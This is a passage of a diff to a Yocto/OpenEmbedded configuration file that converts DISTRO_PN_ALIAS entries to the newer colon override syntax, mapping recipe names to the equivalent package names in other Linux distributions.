-DISTRO_PN_ALIAS_pn-python-dbus = "Ubuntu=python-dbus Debian=python-dbus Mandriva=python-dbus"
-DISTRO_PN_ALIAS_pn-python-git = "Debian=python-git Fedora=GitPython"
-DISTRO_PN_ALIAS_pn-python-mako = "Fedora=python-mako Opensuse=python-Mako"
-DISTRO_PN_ALIAS_pn-python-pycairo = "Meego=pycairo Fedora=pycairo Ubuntu=pycairo Debian=pycairo"
-DISTRO_PN_ALIAS_pn-python-pygobject = "Meego=pygobject2 Fedora=pygobject2 Ubuntu=pygobject Debian=pygobject"
-DISTRO_PN_ALIAS_pn-python-scons = "Fedora=scons OpenSuSE=scons Ubuntu=scons Mandriva=scons Debian=scons"
-DISTRO_PN_ALIAS_pn-python-setuptools = "Mandriva=python-setup OpenSuSE=python-setup-git"
-DISTRO_PN_ALIAS_pn-python-smartpm = "Debian=smart OpenSuSE=smart"
-DISTRO_PN_ALIAS_pn-qemu-config = "OpenedHand"
-DISTRO_PN_ALIAS_pn-qemugl = "OpenedHand"
-DISTRO_PN_ALIAS_pn-qemu-helper = "OpenedHand"
-DISTRO_PN_ALIAS_pn-qemuwrapper-cross = "OE-Core"
-DISTRO_PN_ALIAS_pn-readline = "Fedora=readline Debian=readline-common"
-DISTRO_PN_ALIAS_pn-remake = "Mandriva=remake Debian=remake"
-DISTRO_PN_ALIAS_pn-rgb = "Fedora=xorg-X11-server-utils Debian=x11-xserver-utils"
-DISTRO_PN_ALIAS_pn-rpmresolve = "OSPDT"
-DISTRO_PN_ALIAS_pn-rt-tests = "Debian=rt-tests Ubuntu=rt-tests"
-DISTRO_PN_ALIAS_pn-run-postinsts = "OE-Core"
-DISTRO_PN_ALIAS_pn-sato-icon-theme = "OpenedHand"
-DISTRO_PN_ALIAS_pn-sato-screenshot = "OpenedHand"
-DISTRO_PN_ALIAS_pn-sbc = "Fedora=sbc Debian=libsbc1"
-DISTRO_PN_ALIAS_pn-screenshot = "OpenedHand"
-DISTRO_PN_ALIAS_pn-settings-daemon = "OpenedHand"
-DISTRO_PN_ALIAS_pn-sgml-common = "OpenSuSE=sgml-common Fedora=sgml-common"
-DISTRO_PN_ALIAS_pn-sgmlspl = "Debian=sgmlspl Ubuntu=sgmlspl"
-DISTRO_PN_ALIAS_pn-shadow-securetty = "Ubuntu=shadow Fedora=shadow"
-DISTRO_PN_ALIAS_pn-shadow-sysroot = "Ubuntu=shadow Fedora=shadow"
-DISTRO_PN_ALIAS_pn-shutdown-desktop = "OpenedHand"
-DISTRO_PN_ALIAS_pn-speexdsp = "Ubuntu=libspeexdsp1 Fedora=speexdsp"
-DISTRO_PN_ALIAS_pn-stat = "Debian=coreutils Fedora=coreutils"
-DISTRO_PN_ALIAS_pn-stress = "Debian=stress Fedora=stress"
-DISTRO_PN_ALIAS_pn-sysklogd = "Debian=sysklogd Mandriva=sysklogd"
-DISTRO_PN_ALIAS_pn-sysprof = "Fedora=sysprof Debian=sysprof"
-DISTRO_PN_ALIAS_pn-systemd-compat-units = "Fedora=systemd Ubuntu=systemd"
-DISTRO_PN_ALIAS_pn-systemd-systemctl = "OE-Core"
-DISTRO_PN_ALIAS_pn-systemd-systemdctl = "Fedora=systemd Ubuntu=systemd"
-DISTRO_PN_ALIAS_pn-systemtap-uprobes = "Ubuntu=systemtap Debian=systemtap"
-DISTRO_PN_ALIAS_pn-sysvinit-inittab = "OE-Core"
-DISTRO_PN_ALIAS_pn-tar-replacement = "Fedora=tar Ubuntu=tar"
-DISTRO_PN_ALIAS_pn-tcf-agent = "Windriver upstream=http://www.eclipse.org/dsdp/tm/"
-DISTRO_PN_ALIAS_pn-texinfo-dummy-native = "OE-Core"
-DISTRO_PN_ALIAS_pn-tiny-init = "OSPDT"
-DISTRO_PN_ALIAS_pn-tremor = "OSPDT upstream=http://www.xiph.org/vorbis/"
-DISTRO_PN_ALIAS_pn-ttf-bitstream-vera = "Debian=ttf-bitstream-vera Ubuntu=ttf-bitstream-vera"
-DISTRO_PN_ALIAS_pn-tzcode = "OSPDT"
-DISTRO_PN_ALIAS_pn-u-boot-fw-utils = "Ubuntu=u-boot-tools Debian=u-boot-tools"
-DISTRO_PN_ALIAS_pn-u-boot-tools = "Ubuntu=u-boot-tools Debian=uboot-tools"
-DISTRO_PN_ALIAS_pn-udev = "Mandriva=udev Fedora=udev"
-DISTRO_PN_ALIAS_pn-udev-extraconf = "OE-Core"
-DISTRO_PN_ALIAS_pn-unfs3 = "Debian=unfs3 Fedora=unfs3"
-DISTRO_PN_ALIAS_pn-unfs-server = "OE-Core"
-DISTRO_PN_ALIAS_pn-uninative-tarball = "OE-Core"
-DISTRO_PN_ALIAS_pn-update-alternatives-dpkg = "Opensuse=update-alternatives Mandriva=update-alternatives"
-DISTRO_PN_ALIAS_pn-update-rc.d = "OE-Core"
-DISTRO_PN_ALIAS_pn-usbinit = "OE-Core"
-DISTRO_PN_ALIAS_pn-util-macros = "Meego=xorg-x11-util-macros Fedora=xorg-x11-util-macros Mandriva=x11-util-macros"
-DISTRO_PN_ALIAS_pn-v86d = "Debian=v86d Ubuntu=v86d"
-DISTRO_PN_ALIAS_pn-waffle = "OE-Core"
-DISTRO_PN_ALIAS_pn-watchdog = "Debian=watchdog Ubuntu=watchdog Mandriva=watchdog"
-DISTRO_PN_ALIAS_pn-webkitgtk = "Fedora=webkitgtk Ubuntu=libwebkit"
-DISTRO_PN_ALIAS_pn-weston = "Fedora=weston OpenSuSE=weston"
-DISTRO_PN_ALIAS_pn-weston-init = "OE-Core"
-DISTRO_PN_ALIAS_pn-which = "Mandriva=which Fedora=which"
-DISTRO_PN_ALIAS_pn-wpa-supplicant = "Meego=wpa_supplicant Fedora=wpa_supplicant OpenSuSE=wpa_supplicant Ubuntu=wpasupplicant Mandriva=wpa_supplicant Debian=wpasupplicant"
-DISTRO_PN_ALIAS_pn-x11perf = "Fedora=xorg-x11-apps Ubuntu=x11-apps"
-DISTRO_PN_ALIAS_pn-xcb-util-image = "Debian=xcb-util Fedora=xcb-util"
-DISTRO_PN_ALIAS_pn-xcb-util-keysyms = "Debian=xcb-util Fedora=xcb-util"
-DISTRO_PN_ALIAS_pn-xcb-util-wm = "Debian=xcb-util Fedora=xcb-util"
-DISTRO_PN_ALIAS_pn-xcursor-transparent-theme = "OpenedHand"
-DISTRO_PN_ALIAS_pn-xdpyinfo = "Fedora=xorg-x11-utils Ubuntu=x11-utils"
-DISTRO_PN_ALIAS_pn-xev = "Fedora=xorg-x11-utils Ubuntu=x11-utils"
-DISTRO_PN_ALIAS_pn-xeyes = "Ubuntu=x11-apps Fedora=xorg-x11-apps"
-DISTRO_PN_ALIAS_pn-xf86-input-evdev = "Ubuntu=xserver-xorg-input-evdev Mandriva=x11-driver-input-evdev Debian=xserver-xorg-input-evdev Fedora=xorg-x11-drv-evdev Meego=xorg-x11-drv-evdev"
-DISTRO_PN_ALIAS_pn-xf86-input-keyboard = "Meego=xorg-x11-drv-keyboard Fedora=xorg-x11-drv-keyboard Mandriva=x11-driver-input-keyboard Debian=xserver-xorg-input-keyboard"
-DISTRO_PN_ALIAS_pn-xf86-input-mouse = "Ubuntu=xserver-xorg-input-mouse Mandriva=x11-driver-input-mouse Debian=xserver-xorg-input-mouse"
-DISTRO_PN_ALIAS_pn-xf86-input-synaptics = "Meego=xorg-x11-drv-synaptics Fedora=xorg-x11-drv-synaptics Ubuntu=xserver-xorg-input-synaptics Mandriva=x11-driver-input-synaptics Debian=xfree86-driver-synaptics"
-DISTRO_PN_ALIAS_pn-xf86-input-vmmouse = "Fedora=xorg-x11-drv-vmmouse Ubuntu=xserver-xorg-input-vmmouse Mandriva=x11-driver-input-vmmouse Debian=xserver-xorg-input-vmmouse"
-DISTRO_PN_ALIAS_pn-xf86-video-cirrus = "Opensuse=xf86-video-cirrus Debian=xserver-xorg-video-cirrus"
-DISTRO_PN_ALIAS_pn-xf86-video-fbdev = "Ubuntu=xserver-xorg-video-fbdev Debian=xserver-xorg-video-fbdev"
-DISTRO_PN_ALIAS_pn-xf86-video-intel = "Debian=xserver-xorg-video-intel Fedora=xorg-x11-drv-intel Mandriva=x11-driver-video-intel Meego=xorg-x11-drv-intel Ubuntu=xserver-xorg-video-intel"
-DISTRO_PN_ALIAS_pn-xf86-video-modesetting = "Debian=xserver-xorg-video-modesetting Fedora=xf86-video-modesetting"
-DISTRO_PN_ALIAS_pn-xf86-video-omap = "Ubuntu=xf86-video-omap Debian=xf86-video-omap"
-DISTRO_PN_ALIAS_pn-xf86-video-omapfb = "OSPDT"
-DISTRO_PN_ALIAS_pn-xf86-video-vesa = "Debian=xserver-xorg-video-vesa Fedora=xorg-x11-drv-vesa Mandriva=x11-driver-video-vesa Ubuntu=xserver-xorg-video-vesa"
-DISTRO_PN_ALIAS_pn-xf86-video-vmware = "Debian=xserver-xorg-video-vmware Fedora=xorg-x11-drv-vmware Mandriva=x11-driver-video-vmware Ubuntu=xserver-xorg-video-vmware"
-DISTRO_PN_ALIAS_pn-xhost = "Ubuntu=x11-xserver-utils Fedora=xorg-x11-server-utils"
-DISTRO_PN_ALIAS_pn-xinput-calibrator = "Fedora=xinput-calibrator Mandravia=xinput-calibrator Ubuntu=xinput-calibrator"
-DISTRO_PN_ALIAS_pn-xkbcomp = "Ubuntu=x11-xkb-utils Fedora=xorg-x11-xkb-utils"
-DISTRO_PN_ALIAS_pn-xmodmap = "Meego=xorg-x11-utils-xmodmap Fedora=xorg-x11-server-utils Ubuntu=x11-xserver-utils"
-DISTRO_PN_ALIAS_pn-xorg-minimal-fonts = "Ubuntu=xfonts-base Fedora=xorg-x11-fonts-base"
-DISTRO_PN_ALIAS_pn-xorgproto = "OSPDT upstream=http://cgit.freedesktop.org/xorg/proto/xorgproto"
-DISTRO_PN_ALIAS_pn-xprop = "Meego=xorg-x11-utils-xprop Fedora=xorg-x11-utils Ubuntu=x11-utils"
-DISTRO_PN_ALIAS_pn-xproxymanagementprotocol = "Meego=xorg-x11-proto-xproxymanagementprotocol"
-DISTRO_PN_ALIAS_pn-xrandr = "Ubuntu=x11-xserver-utils Fedora=xorg-x11-server-utils"
-DISTRO_PN_ALIAS_pn-xrdb = "Ubuntu=x11-xserver-utils Fedora=xorg-x11-server-utils"
-DISTRO_PN_ALIAS_pn-xserver-nodm-init = "OE-Core"
-DISTRO_PN_ALIAS_pn-xserver-xf86-config = "OE-Core"
-DISTRO_PN_ALIAS_pn-xserver-xf86-dri-lite = "Fedora=xorg-x11-server Ubuntu=xserver-xorg"
-DISTRO_PN_ALIAS_pn-xserver-xf86-lite = "Fedora=xorg-x11-server Ubuntu=xserver-xorg"
-DISTRO_PN_ALIAS_pn-xserver-xorg = "Fedora=xorg-x11-server Ubuntu=xserver-xorg"
-DISTRO_PN_ALIAS_pn-xset = "Fedora=xorg-x11-server-utils Ubuntu=x11-xserver-utils Debian=x11-xserver-utils Opensuse=xorg-x11"
-DISTRO_PN_ALIAS_pn-xuser-account = "OE-Core"
-DISTRO_PN_ALIAS_pn-xvinfo = "Fedora=xorg-x11-utils Ubuntu=x11-utils"
-DISTRO_PN_ALIAS_pn-xwininfo = "Fedora=xorg-x11-utils Ubuntu=x11-utils"
+DISTRO_PN_ALIAS:pn-alsa-state = "OE-Core"
+DISTRO_PN_ALIAS:pn-alsa-utils-alsaconf = "OE-Core"
+DISTRO_PN_ALIAS:pn-alsa-utils-scripts = "OE-Core"
+DISTRO_PN_ALIAS:pn-atk = "Fedora=atk OpenSuSE=atk"
+DISTRO_PN_ALIAS:pn-avahi-ui = "Ubuntu=avahi-discover Debian=avahi-discover"
+DISTRO_PN_ALIAS:pn-babeltrace = "OSPDT"
+DISTRO_PN_ALIAS:pn-babeltrace2 = "OSPDT"
+DISTRO_PN_ALIAS:pn-bjam = "OpenSuSE=boost-jam Debian=bjam"
+DISTRO_PN_ALIAS:pn-blktool = "Debian=blktool Mandriva=blktool"
+DISTRO_PN_ALIAS:pn-bluez5 = "Fedora=bluez Opensuse=bluez"
+DISTRO_PN_ALIAS:pn-bootchart2 = "Fedora=bootchart2 Opensuse=bootchart"
+DISTRO_PN_ALIAS:pn-btrfs-tools = "Debian=btrfs-tools Fedora=btrfs-progs"
+DISTRO_PN_ALIAS:pn-build-appliance-image = "OSPDT"
+DISTRO_PN_ALIAS:pn-builder = "OE-Core"
+DISTRO_PN_ALIAS:pn-buildtools-tarball = "OE-Core"
+DISTRO_PN_ALIAS:pn-cdrtools = "OpenSUSE=cdrtools OSPDT"
+DISTRO_PN_ALIAS:pn-chkconfig-alternatives = "Mandriva=chkconfig Debian=chkconfig"
+DISTRO_PN_ALIAS:pn-connman = "Meego=connman"
+DISTRO_PN_ALIAS:pn-connman-conf = "OE-Core"
+DISTRO_PN_ALIAS:pn-connman-gnome = "Intel"
+DISTRO_PN_ALIAS:pn-console-tools = "Debian=console-tools Ubuntu=console-tools"
+DISTRO_PN_ALIAS:pn-core-image-base = "OE-Core"
+DISTRO_PN_ALIAS:pn-core-image-full-cmdline = "OE-Core"
+DISTRO_PN_ALIAS:pn-core-image-kernel-dev = "OE-Core"
+DISTRO_PN_ALIAS:pn-core-image-minimal = "OE-Core"
+DISTRO_PN_ALIAS:pn-core-image-minimal-dev = "OE-Core"
+DISTRO_PN_ALIAS:pn-core-image-minimal-initramfs = "OE-Core"
+DISTRO_PN_ALIAS:pn-core-image-minimal-mtdutils = "OE-Core"
+DISTRO_PN_ALIAS:pn-core-image-rt = "OE-Core"
+DISTRO_PN_ALIAS:pn-core-image-rt-sdk = "OE-Core"
+DISTRO_PN_ALIAS:pn-core-image-sato = "OE-Core"
+DISTRO_PN_ALIAS:pn-core-image-sato-dev = "OE-Core"
+DISTRO_PN_ALIAS:pn-core-image-sato-sdk = "OE-Core"
+DISTRO_PN_ALIAS:pn-core-image-testcontroller = "OE-Core"
+DISTRO_PN_ALIAS:pn-core-image-testcontroller-initramfs = "OE-Core"
+DISTRO_PN_ALIAS:pn-core-image-weston = "OE-Core"
+DISTRO_PN_ALIAS:pn-core-image-x11 = "OE-Core"
+DISTRO_PN_ALIAS:pn-createrepo-c = "Fedora=createrepo_c Clear=createrepo_c"
+DISTRO_PN_ALIAS:pn-cross-localedef = "OSPDT"
+DISTRO_PN_ALIAS:pn-cryptodev-linux = "OE-Core"
+DISTRO_PN_ALIAS:pn-cryptodev-module = "OE-Core"
+DISTRO_PN_ALIAS:pn-cryptodev-tests = "OE-Core"
+DISTRO_PN_ALIAS:pn-cwautomacros = "OSPDT upstream=http://cwautomacros.berlios.de/"
+DISTRO_PN_ALIAS:pn-db = "Debian=db5.1 Ubuntu=db5.1"
+DISTRO_PN_ALIAS:pn-dbus-test = "Fedora=dbus Ubuntu=dbus"
+DISTRO_PN_ALIAS:pn-dbus-wait = "OpenedHand"
+DISTRO_PN_ALIAS:pn-depmodwrapper-cross = "OE-Core"
+DISTRO_PN_ALIAS:pn-distcc = "Debian=distcc Fedora=distcc"
+DISTRO_PN_ALIAS:pn-distcc-config = "OpenedHand"
+DISTRO_PN_ALIAS:pn-docbook-dsssl-stylesheets = "Fedora=docbook-style-dsssl Ubuntu=docbook-dsssl"
+DISTRO_PN_ALIAS:pn-docbook-sgml-dtd-3.1 = "Fedora=docbook-dtds Mandriva=docbook-dtd31-sgml"
+DISTRO_PN_ALIAS:pn-docbook-sgml-dtd-4.1 = "Fedora=docbook-dtds Mandriva=docbook-dtd41-sgml"
+DISTRO_PN_ALIAS:pn-docbook-sgml-dtd-4.5 = "Fedora=docbook-dtds Mandriva=docbook-dtd42-sgml"
+DISTRO_PN_ALIAS:pn-docbook-xml-dtd4 = "Ubuntu=docbook-xml Fedora=docbook-dtds"
+DISTRO_PN_ALIAS:pn-docbook-xml-dtd4-native = "Ubuntu=docbook-xml Fedora=docbook-dtds"
+DISTRO_PN_ALIAS:pn-docbook-xsl-stylesheets = "Fedora=docbook-xsl-stylesheets Opensuse=docbook-xsl-stylesheets"
+DISTRO_PN_ALIAS:pn-dropbear = "Debian=dropbear Ubuntu=dropbear"
+DISTRO_PN_ALIAS:pn-dtc = "Fedora=dtc Ubuntu=dtc"
+DISTRO_PN_ALIAS:pn-encodings = "Ubuntu=xfonts-encodings Mandriva=x11-font-encodings Debian=xfonts-encodings"
+DISTRO_PN_ALIAS:pn-font-alias = "Fedora=xorg-x11-fonts-base Mandriva=x11-font-alias Meego=xorg-x11-fonts"
+DISTRO_PN_ALIAS:pn-font-util = "Meego=xorg-x11-font-utils Fedora=xorg-x11-font-utils Ubuntu=xfonts-utils Mandriva=x11-font-util Debian=xfonts-utils"
+DISTRO_PN_ALIAS:pn-formfactor = "OE-Core"
+DISTRO_PN_ALIAS:pn-gccmakedep = "Mandriva=gccmakedep Ubuntu=xutils-dev"
+DISTRO_PN_ALIAS:pn-gcc-runtime = "Ubuntu=gcc Fedora=gcc"
+DISTRO_PN_ALIAS:pn-gcc-sanitizers = "Ubuntu=gcc Fedora=gcc"
+DISTRO_PN_ALIAS:pn-gcc-source = "Ubuntu=gcc Fedora=gcc"
+DISTRO_PN_ALIAS:pn-gconf-dbus = "Meego=GConf-dbus"
+DISTRO_PN_ALIAS:pn-gdk-pixbuf = "Debian=libgdk-pixbuf2.0 Fedora=gdk-pixbuf"
+DISTRO_PN_ALIAS:pn-gdk-pixbuf-csource = "Debian=libgdk-pixbuf2.0-0 Fedora=gdk-pixbuf2"
+DISTRO_PN_ALIAS:pn-gettext-minimal = "Debian=gettext Fedora=gettext"
+DISTRO_PN_ALIAS:pn-glib-2.0 = "Meego=glib2 Fedora=glib2 OpenSuSE=glib2 Ubuntu=glib2.0 Mandriva=glib2.0 Debian=glib2.0"
+DISTRO_PN_ALIAS:pn-glibc-locale = "OpenSuSE=glibc-locale Fedora=glibc-devel"
+DISTRO_PN_ALIAS:pn-glibc-mtrace = "Fedora=glibc-utils Ubuntu=libc-dev-bin"
+DISTRO_PN_ALIAS:pn-glibc-scripts = "Fedora=glibc Ubuntu=libc-bin"
+DISTRO_PN_ALIAS:pn-gnome-desktop-testing = "Debian=gnome-desktop-testing Fedora=gnome-desktop-testing"
+DISTRO_PN_ALIAS:pn-gnu-config = "OpenedHand"
+DISTRO_PN_ALIAS:pn-gptfdisk = "Fedora=gdisk Ubuntu=gdisk"
+DISTRO_PN_ALIAS:pn-grub-efi = "Debian=grub-efi Fedora=grub2-efi"
+DISTRO_PN_ALIAS:pn-gst-player = "Ubuntu=gst-player Fedora=gstreamer-player"
+DISTRO_PN_ALIAS:pn-gst-plugin-bluetooth = "Ubuntu=libgstreamer-plugins-base Fedora=gstreamer-plugins-base"
+DISTRO_PN_ALIAS:pn-gstreamer1.0 = "Debian=gstreamer1.0 Ubuntu=gstreamer1.0"
+DISTRO_PN_ALIAS:pn-gstreamer1.0-meta-base = "Meego=gstreamer Fedora=gstreamer OpenSuSE=gstreamer Ubuntu=gstreamer0.10"
+DISTRO_PN_ALIAS:pn-gstreamer1.0-plugins-bad = "Debian=gstreamer1.0-plugins-bad Ubuntu=gstreamer1.0-plugins-bad"
+DISTRO_PN_ALIAS:pn-gstreamer1.0-plugins-base = "Debian=gstreamer1.0-plugins-base Ubuntu=gstreamer1.0-plugins-base"
+DISTRO_PN_ALIAS:pn-gstreamer1.0-plugins-good = "Debian=gstreamer1.0-plugins-good Ubuntu=gstreamer1.0-plugins-bad"
+DISTRO_PN_ALIAS:pn-gstreamer1.0-rtsp-server = "Ubuntu=gstreamer0.10-rtsp Fedora=gstreamer-rtsp"
+DISTRO_PN_ALIAS:pn-gstreamer1.0-vaapi = "Fedora=gstreamer1-vaapi Debian=gstreamer-vaapi Clear=gstreamer-vaapi"
+DISTRO_PN_ALIAS:pn-gtk+ = "Meego=gtk2 Fedora=gtk2 OpenSuSE=gtk2 Ubuntu=gtk+2.0 Mandriva=gtk+2.0 Debian=gtk+2.0"
+DISTRO_PN_ALIAS:pn-gtk+3 = "Ubuntu=gtk+3.0 Debian=gtk+3.0 Fedora=gtk3"
+DISTRO_PN_ALIAS:pn-gtk-doc = "Fedora=gtk-doc Ubuntu=gtk-doc"
+DISTRO_PN_ALIAS:pn-gtk-engines = "Fedora=gtk2-engines OpenSuSE=gtk2-engines Ubuntu=gtk2-engines Mandriva=gtk-engines2 Debian=gtk2-engines"
+DISTRO_PN_ALIAS:pn-gtk-sato-engine = "OpenedHand"
+DISTRO_PN_ALIAS:pn-gtk-icon-utils-native = "OSPDT"
+DISTRO_PN_ALIAS:pn-systemd-boot = "Ubuntu=systemd-boot Fedora=systemd-boot"
+DISTRO_PN_ALIAS:pn-hello-mod = "OE-Core"
+DISTRO_PN_ALIAS:pn-hwlatdetect = "OSPDT"
+DISTRO_PN_ALIAS:pn-icecc-create-env = "OE-Core"
+DISTRO_PN_ALIAS:pn-init-ifupdown = "Debian=ifupdown Ubuntu=ifupdown"
+DISTRO_PN_ALIAS:pn-initramfs-boot = "OE-Core"
+DISTRO_PN_ALIAS:pn-initramfs-framework = "OE-Core"
+DISTRO_PN_ALIAS:pn-initramfs-live-boot = "OE-Core"
+DISTRO_PN_ALIAS:pn-initramfs-live-install = "OE-Core"
+DISTRO_PN_ALIAS:pn-initramfs-live-install-efi = "OE-Core"
+DISTRO_PN_ALIAS:pn-initramfs-live-install-efi-testfs = "OE-Core"
+DISTRO_PN_ALIAS:pn-initramfs-live-install-testfs = "OE-Core"
+DISTRO_PN_ALIAS:pn-initscripts = "Fedora=initscripts Mandriva=initscripts"
+DISTRO_PN_ALIAS:pn-iproute2 = "OSPDT"
+DISTRO_PN_ALIAS:pn-jpeg = "OpenSuSE=libjpeg Ubuntu=libjpeg62"
+DISTRO_PN_ALIAS:pn-kernel-devsrc = "Debian=linux-base Ubuntu=linux"
+DISTRO_PN_ALIAS:pn-kern-tools-native = "Windriver"
+DISTRO_PN_ALIAS:pn-keymaps = "OE-Core"
+DISTRO_PN_ALIAS:pn-kf = "OSPDT"
+DISTRO_PN_ALIAS:pn-lame = "Debian=lame Ubuntu=lame"
+DISTRO_PN_ALIAS:pn-ldconfig-native = "Ubuntu=libc-bin Fedora=glibc"
+DISTRO_PN_ALIAS:pn-liba52 = "Mandriva=a52dec Debian=a52dec"
+DISTRO_PN_ALIAS:pn-libacpi = "Ubuntu=libacpi Mandriva=libacpi"
+DISTRO_PN_ALIAS:pn-libatomics-ops = "Meego=libatomic-ops Debian=libatomic-ops Ubuntu=libatomic-ops OpenSuSE=libatomic-ops Mandriva=libatomic-ops"
+DISTRO_PN_ALIAS:pn-libcgroup = "Ubuntu=libcgroup1 Debian=libcgroup1"
+DISTRO_PN_ALIAS:pn-libcheck = "Ubuntu=check Fedora=check OpenSuSE=check"
+DISTRO_PN_ALIAS:pn-libclass-isa-perl = "OSPDT"
+DISTRO_PN_ALIAS:pn-libdumpvalue-perl = "OSPDT"
+DISTRO_PN_ALIAS:pn-libenv-perl = "OSPDT"
+DISTRO_PN_ALIAS:pn-liberation-fonts = "Ubuntu=fonts-liberation Fedora=liberation-fonts-ttf"
+DISTRO_PN_ALIAS:pn-libfakekey = "Meego1.0=libfakekey Debian=libfakekey"
+DISTRO_PN_ALIAS:pn-libfile-checktree-perl = "OSPDT"
+DISTRO_PN_ALIAS:pn-libfm-extra = "Opensuse=libfm-extra4 Ubuntu=libfm-extra4"
+DISTRO_PN_ALIAS:pn-libgcc = "Debian=libgcc4 Ubuntu=libgcc1 OpenSuSE=libgcc46"
+DISTRO_PN_ALIAS:pn-libgdbus = "Intel"
+DISTRO_PN_ALIAS:pn-libglade = "Meego=libglade2 Fedora=libglade2 OpenSuSE=libglade2 Ubuntu=libglade2 Mandriva=libglade2.0 Debian=libglade2"
+DISTRO_PN_ALIAS:pn-libglu = "Debian=libglu Ubuntu=libglu Opensuse=mesa-libglu"
+DISTRO_PN_ALIAS:pn-libgu = "OpenSuSE=glu OSPDT"
+DISTRO_PN_ALIAS:pn-libi18n-collate-perl = "OSPDT"
+DISTRO_PN_ALIAS:pn-libical = "Ubuntu=libical Fedora=libical"
+DISTRO_PN_ALIAS:pn-libiconv = "Fedora=mingw-libiconv Opensuse=cross-mingw-libiconv"
+DISTRO_PN_ALIAS:pn-libinput = "Ubuntu=libinput0 Fedora=libinput0"
+DISTRO_PN_ALIAS:pn-libjson = "Ubuntu=libjson0-dev Debian=libjson0-dev"
+DISTRO_PN_ALIAS:pn-libksba = "Fedora=libksba Debian=libksba8 Ubuntu=libksba"
+DISTRO_PN_ALIAS:pn-libmatchbox = "Ubuntu=libmatchbox Fedora=libmatchbox"
+DISTRO_PN_ALIAS:pn-libmpc = "Fedora=libmpc OpenSuse=libmpc2"
+DISTRO_PN_ALIAS:pn-libnewt = "Debian=libnewt0.52 Fedora=newt"
+DISTRO_PN_ALIAS:pn-libnewt-python = "Ubuntu=python-newt Fedora=newt-python"
+DISTRO_PN_ALIAS:pn-libnl = "Mandriva=libnl Fedora=libnl"
+DISTRO_PN_ALIAS:pn-libnss-mdns = "Meego=nss-mdns OpenSuSE=nss-mdns Ubuntu=nss-mdns Mandriva=nss_mdns Debian=nss-mdns"
+DISTRO_PN_ALIAS:pn-libomxil = "OSPDT upstream=http://omxil.sourceforge.net/"
+DISTRO_PN_ALIAS:pn-libowl = "Debian=owl OpenedHand"
+DISTRO_PN_ALIAS:pn-libpam = "Meego=pam Fedora=pam OpenSuSE=pam Ubuntu=pam Mandriva=pam Debian=pam"
+DISTRO_PN_ALIAS:pn-libpcre = "Mandriva=libpcre0 Fedora=pcre"
+DISTRO_PN_ALIAS:pn-libpcre2 = "Fedora=pcre2 Debian=pcre2 Clear=pcre2"
+DISTRO_PN_ALIAS:pn-libpng12 = "Debian=libpng12-0 Fedora=libpng"
+DISTRO_PN_ALIAS:pn-libpod-plainer-perl = "OSPDT"
+DISTRO_PN_ALIAS:pn-libsamplerate0 = "Meego=libsamplerate Fedora=libsamplerate OpenSuSE=libsamplerate Ubuntu=libsamplerate Mandriva=libsamplerate Debian=libsamplerate"
+DISTRO_PN_ALIAS:pn-libsdl2 = "Fedora=sdl2 Opensuse=libsdl2 Ubuntu=libsdl2 Debian=libsdl2"
+DISTRO_PN_ALIAS:pn-libsndfile1 = "Meego=libsndfile Fedora=libsndfile OpenSuSE=libsndfile Ubuntu=libsndfile Mandriva=libsndfile Debian=libsndfile"
+DISTRO_PN_ALIAS:pn-libsoup-2.4 = "Meego=libsoup Fedora=libsoup OpenSuSE=libsoup Ubuntu=libsoup2.4 Mandriva=libsoup Debian=libsoup2.4"
+DISTRO_PN_ALIAS:pn-libtelepathy = "Debian=libtelepathy2 Ubuntu=libtelepathy2"
+DISTRO_PN_ALIAS:pn-libtimedate-perl = "Debian=libtimedate-perl Ubuntu=libtimedate-perl"
+DISTRO_PN_ALIAS:pn-liburcu = "Fedora=userspace-rcu Ubuntu=liburcu0"
+DISTRO_PN_ALIAS:pn-libusb1 = "Debian=libusb-1.0-0 Fedora=libusb1"
+DISTRO_PN_ALIAS:pn-libx11 = "Debian=libx11-6 Fedora=libX11 Ubuntu=libx11-6 OpenSuSE=xorg-x11-libX11"
+DISTRO_PN_ALIAS:pn-libxcalibrate = "OSPDT upstream=http://cgit.freedesktop.org/xorg/lib/libXCalibrate/"
+DISTRO_PN_ALIAS:pn-libxfont2 = "Fedora=libXfont2 Clear=libXfont2"
+DISTRO_PN_ALIAS:pn-libxft = "Mandriva=libxft Debian=libxft2 Ubuntu=libxft2"
+DISTRO_PN_ALIAS:pn-libxi = "Ubuntu=libxi Fedora=libXi"
+DISTRO_PN_ALIAS:pn-libxkbcommon = "Fedora=libxkbcommon Debian=libxkbcommon"
+DISTRO_PN_ALIAS:pn-libxscrnsaver = "Fedora=libXScrnSaver Ubuntu=libxss1 Mandriva=libxscrnsaver"
+DISTRO_PN_ALIAS:pn-linux-dummy = "Intel"
+DISTRO_PN_ALIAS:pn-linux-firmware = "Fedora=linux-firmware Ubuntu=linux-firmware"
+DISTRO_PN_ALIAS:pn-linux-libc-headers = "Debian=linux-kernel-headers Ubuntu=linux-kernel-headers"
+DISTRO_PN_ALIAS:pn-linux-libc-headers-yocto = "Debian=linux-kernel-headers Ubuntu=linux-kernel-headers"
+DISTRO_PN_ALIAS:pn-linux-yocto = "Debian=linux-base Ubuntu=linux"
+DISTRO_PN_ALIAS:pn-linux-yocto-rt = "Debian=linux-base Ubuntu=linux"
+DISTRO_PN_ALIAS:pn-linux-yocto-tiny = "OSPDT"
+DISTRO_PN_ALIAS:pn-ltp = "Mandriva=ltp Ubuntu=ltp"
+DISTRO_PN_ALIAS:pn-lttng-modules = "OSPDT upstream=http://lttng.org/"
+DISTRO_PN_ALIAS:pn-lttng-tools = "OSPDT upstream=http://lttng.org/"
+DISTRO_PN_ALIAS:pn-lttng-ust = "OSPDT upstream=http://lttng.org/"
+DISTRO_PN_ALIAS:pn-lz4 = "Debian=lz4 Fedora=lz4"
+DISTRO_PN_ALIAS:pn-lzo = "Debian=liblzo Ubuntu=liblzo Fedora=lzp"
+DISTRO_PN_ALIAS:pn-mailx = "Debian=bsd-mailx Ubuntu=bsd-mailx"
+DISTRO_PN_ALIAS:pn-makedepend = "Mandriva=makedepend Ubuntu=xutils-dev"
+DISTRO_PN_ALIAS:pn-makedevs = "OE-Core"
+DISTRO_PN_ALIAS:pn-matchbox-config-gtk = "OpenedHand"
+DISTRO_PN_ALIAS:pn-matchbox-desktop = "Mandriva=matchbox-desktop Ubuntu=matchbox-desktop"
+DISTRO_PN_ALIAS:pn-matchbox-desktop-sato = "OpenedHand"
+DISTRO_PN_ALIAS:pn-matchbox-keyboard = "Debian=matchbox-keyboard Fedora=matchbox-keyboard"
+DISTRO_PN_ALIAS:pn-matchbox-panel-2 = "Debian=matchbox-panel Mandriva=matchbox-panel Ubuntu=matchbox-panel"
